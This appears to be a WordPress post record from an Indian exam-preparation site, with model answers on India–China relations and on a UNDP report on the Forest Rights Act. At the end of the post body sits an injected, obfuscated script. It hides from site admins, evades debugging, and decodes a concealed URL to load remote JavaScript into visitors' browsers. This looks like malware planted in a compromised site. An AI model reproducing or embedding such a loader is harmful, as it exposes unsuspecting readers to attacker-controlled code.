{"id":2271,"date":"2025-09-01T14:13:27","date_gmt":"2025-09-01T14:13:27","guid":{"rendered":"https:\/\/iasquest.com\/?p=2271"},"modified":"2026-02-11T18:54:24","modified_gmt":"2026-02-11T18:54:24","slug":"international-relation-agriculture","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/international-relation-agriculture\/","title":{"rendered":"International Relation &#038; Agriculture"},"content":{"rendered":"\n<p class=\"has-vivid-red-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. India\u2013China relations are characterized by cooperation in multilateral platforms but constrained by unresolved border disputes and growing strategic rivalry. Discuss.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>SYLLABUS:<\/strong> <strong>General Studies \u2013 II: International Relation &#8211; Bilateral, regional and global groupings and agreements involving India and\/or affecting India&#8217;s Interests<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\"><strong>IN NEWS:<\/strong> India, China committed to cooperation, fair resolution of boundary issues, says Modi after meeting Xi<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">India and China, as two rising Asian powers and nuclear-armed neighbors, share a complex relationship. While they cooperate on global platforms such as BRICS, SCO, and climate negotiations, their bilateral ties are constrained by unresolved border disputes, security concerns, and strategic competition in Asia and beyond.<\/p>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-4\"><strong>\u00a0Cooperation in Multilateral Platforms<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-5\">\n<li><strong>BRICS &amp; SCO<\/strong>: Both advocate for multipolarity, reform of global financial institutions, and greater representation of developing countries.<\/li>\n\n\n\n<li><strong>RIC Dialogue (Russia\u2013India\u2013China)<\/strong>: Emphasizes coordination on global security and economic governance.<\/li>\n\n\n\n<li><strong>Climate Change Negotiations<\/strong>: Common positions in UNFCCC negotiations to safeguard the interests of developing countries.<\/li>\n\n\n\n<li><strong>Global Trade &amp; WTO<\/strong>: Joint resistance to protectionist tendencies of developed countries.<\/li>\n\n\n\n<li><strong>Health &amp; Pandemic Response<\/strong>: Cooperation in forums like WHO for vaccine access and health security.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\"><strong>Constraints in Bilateral Relations<\/strong><\/p>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-7\"><a><\/a><strong>1. Border Disputes<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-8\">\n<li>Disagreement over <strong>Aksai Chin (Ladakh)<\/strong> and <strong>Arunachal Pradesh (South Tibet)<\/strong>.<\/li>\n\n\n\n<li><strong>The Galwan clash (2020)<\/strong> eroded trust, leading to militarization of the LAC.<\/li>\n\n\n\n<li>Lack of a clearly demarcated <strong>Line of Actual Control (LAC)<\/strong> fuels repeated standoffs.<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-9\"><a><\/a><strong>2. Strategic Rivalry<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-10\">\n<li><strong>China\u2013Pakistan nexus<\/strong>: CPEC passes through PoK, challenging India\u2019s sovereignty.<\/li>\n\n\n\n<li><strong>Indo-Pacific competition<\/strong>: India\u2019s participation in the Quad seen by China as containment.<\/li>\n\n\n\n<li><strong>Indian Ocean Region (IOR)<\/strong>: China\u2019s \u201cString of Pearls\u201d strategy vs. India\u2019s SAGAR vision.<\/li>\n\n\n\n<li><strong>Technological &amp; economic rivalry<\/strong>: India banning Chinese apps, tightening FDI, diversifying supply chains.<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-11\"><a><\/a><strong>3. Trust Deficit<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-12\">\n<li>Historical baggage of the 1962 war continues to influence perceptions.<\/li>\n\n\n\n<li>Repeated violation of border protocols undermines confidence-building measures.<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-13\"><strong>\u00a0Way Forward<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-14\">\n<li><strong>Diplomatic Engagement<\/strong>: Continued dialogue under Special Representatives\u2019 mechanism on border issues.<\/li>\n\n\n\n<li><strong>Confidence-Building Measures<\/strong>: Strengthening military hotlines, border management protocols.<\/li>\n\n\n\n<li><strong>Economic Diversification<\/strong>: Reduce dependence on Chinese imports while keeping trade channels open.<\/li>\n\n\n\n<li><strong>Balanced Strategy<\/strong>: Pursue cooperation in global governance while securing strategic interests in the Indo-Pacific.<\/li>\n\n\n\n<li><strong>Regional Stability<\/strong>: Work towards a rules-based Asian order to prevent conflict escalation.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\">India\u2013China relations embody a paradox\u2014<strong>cooperation in multilateral platforms but competition in bilateral and regional domains<\/strong>. Going forward, the challenge for India is to balance its strategic rivalry with China while harnessing opportunities for cooperation in global governance, keeping national security and sovereignty uncompromised.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE<\/strong>: <strong>(2017)<\/strong><br><strong>Q. \u201cChina is using its economic relations and positive trade surplus as tools to develop potential military\u00a0\u00a0 power status is Asia.\u201d In the light of this statement, discuss its impact on India as her neighbor.<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>SOURCE:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/ministry-of-external-affairs-statement-on-pm-modi-chinese-president-xi-jinping-meeting-in-tianjin\/article69996067.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/ministry-of-external-affairs-statement-on-pm-modi-chinese-president-xi-jinping-meeting-in-tianjin\/article69996067.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-vivid-red-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>2. Discuss the recent challenges in the implementation of the Forest Rights Act, 2006, as highlighted by the UNDP report. Suggest measures to strengthen its role in tribal empowerment and forest governance.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>SYLLABUS:<\/strong> <strong>General Studies \u2013 III: Agriculture &#8211; Transport and marketing of agricultural produce and issues and related constraints.<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\"><strong>IN NEWS:<\/strong> Build consensus on \u2018sunset clause\u2019 for forest rights titles: UNDP report<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\">FRA 2006 was enacted to correct historical injustice faced by Scheduled Tribes (STs) and Other Traditional Forest Dwellers (OTFDs). The UNDP report (2025) reviews its progress and highlights the need for reforms to ensure effective implementation.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\"><strong>Challenges Highlighted<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-21\">\n<li>Implementation gaps: Incomplete title registration, poor record-keeping, and high rejection rates.<\/li>\n\n\n\n<li>Verification issues: Incorrect recognition of rights due to weak processes.<\/li>\n\n\n\n<li>Institutional problems: Poor coordination between Tribal and Forest Departments; Gram Sabha forest management plans not integrated into official working plans.<\/li>\n\n\n\n<li>Gender gaps: Lack of gender-disaggregated data; limited participation of women in CFR governance.<\/li>\n\n\n\n<li>Economic underutilisation: Weak mechanisms to monetise intellectual property rights; unclear norms on minor forest produce (MFP) ownership, harvesting, and sale.<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><strong>Key Recommendations of UNDP<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-23\">\n<li>Introduce a sunset clause for rights recognition, allowing claim saturation at the Gram Sabha level.<\/li>\n\n\n\n<li>Collect and publish gender-disaggregated FRA data and promote women\u2019s leadership.<\/li>\n\n\n\n<li>Strengthen inter-departmental coordination for implementation.<\/li>\n\n\n\n<li>Recognise and monetise community intellectual property rights (biodiversity, knowledge).<\/li>\n\n\n\n<li>Establish clear rules for MFP trade, including bamboo and tendu.<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>Way Forward<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-25\">\n<li>Build consensus on the sunset clause with safeguards for genuine late claims.<\/li>\n\n\n\n<li>Integrate FRA implementation with welfare schemes (NRLM, PDS, MGNREGA).<\/li>\n\n\n\n<li>Capacity building for Gram Sabhas and training of officials.<\/li>\n\n\n\n<li>Ensure legal backing and market linkages for MFP trade.<\/li>\n\n\n\n<li>Promote inclusive forest governance with active role for women and PVTGs.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\">FRA remains a landmark legislation for tribal empowerment and participatory conservation. Effective implementation, backed by the UNDP\u2019s recommendations, can transform forest governance into a model of justice, equity, and sustainability.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE<\/strong> <br><strong>Q. Forest Rights Act, 2006 was formulated to give forest dwellers legal ownership of their traditional land but some of the tribals have faced eviction in recent times. Examine. Discuss how far the Forest Rights Act has ensured the livelihood security of the tribals.<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>SOURCE:<\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/build-consensus-on-sunset-clause-for-forest-rights-titles-undp-report\/article69989500.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/build-consensus-on-sunset-clause-for-forest-rights-titles-undp-report\/article69989500.ece<\/strong><\/a><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>India\u2013China relations are characterized by cooperation in multilateral platforms but constrained by unresolved border disputes and growing strategic rivalry. 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